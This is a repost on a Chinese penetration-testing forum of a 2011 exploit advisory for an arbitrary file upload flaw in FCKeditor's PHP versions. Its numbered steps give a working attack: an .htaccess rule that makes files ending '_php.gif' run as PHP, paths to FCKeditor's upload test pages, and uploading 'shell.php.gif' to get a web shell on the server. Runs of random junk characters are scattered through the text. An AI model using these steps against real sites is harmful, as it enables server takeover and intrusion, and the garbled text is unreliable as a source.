| FCKeditor所有php版本Upload上传漏洞' B$ B, \ W: [8 p% q# J 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07( e* a9 k& E S! {/ z+ ?) I6 ?! ] 减小字体 增大字体9 O! m; j1 M, [8 P [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability: ~9 ]0 b/ @- ^. m" A [+] Date: 2011 [+] Author : sinesafe.cn) `+ v; o! a# u4 Y [+] Website : WwW.sinesafe.cn ———————————————————3 z& ^9 e, ?9 X$ }7 e8 w/ F 1.create a htaccess file:/ V- {) \& q9 V1 ?* L code: <FilesMatch “_php.gif”>6 _/ y1 D ]$ s+ U( I* G SetHandler application/x-httpd-php$ Q) p$ `: K$ S# l </FilesMatch> 2.Now upload this htaccess with FCKeditor. " U2 e1 F4 c3 P8 [, L, Q http://www.sinesafe.cn/FCKeditor ... er/upload/test.html+ G# R8 k; h1 y' x ' |! O, M" `2 t0 }' Z% [ http://www.sinesafe.cn/FCKeditor ... onnectors/test.html ———————————————————————————————-/ ~. e* J, n+ h' A: | 3.Now upload shell.php.gif with FCKeditor.& n# H* e, c0 k1 ?& r- `/ i 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.9 F- C/ l) ~3 q6 p7 j- A$ j 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server. |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |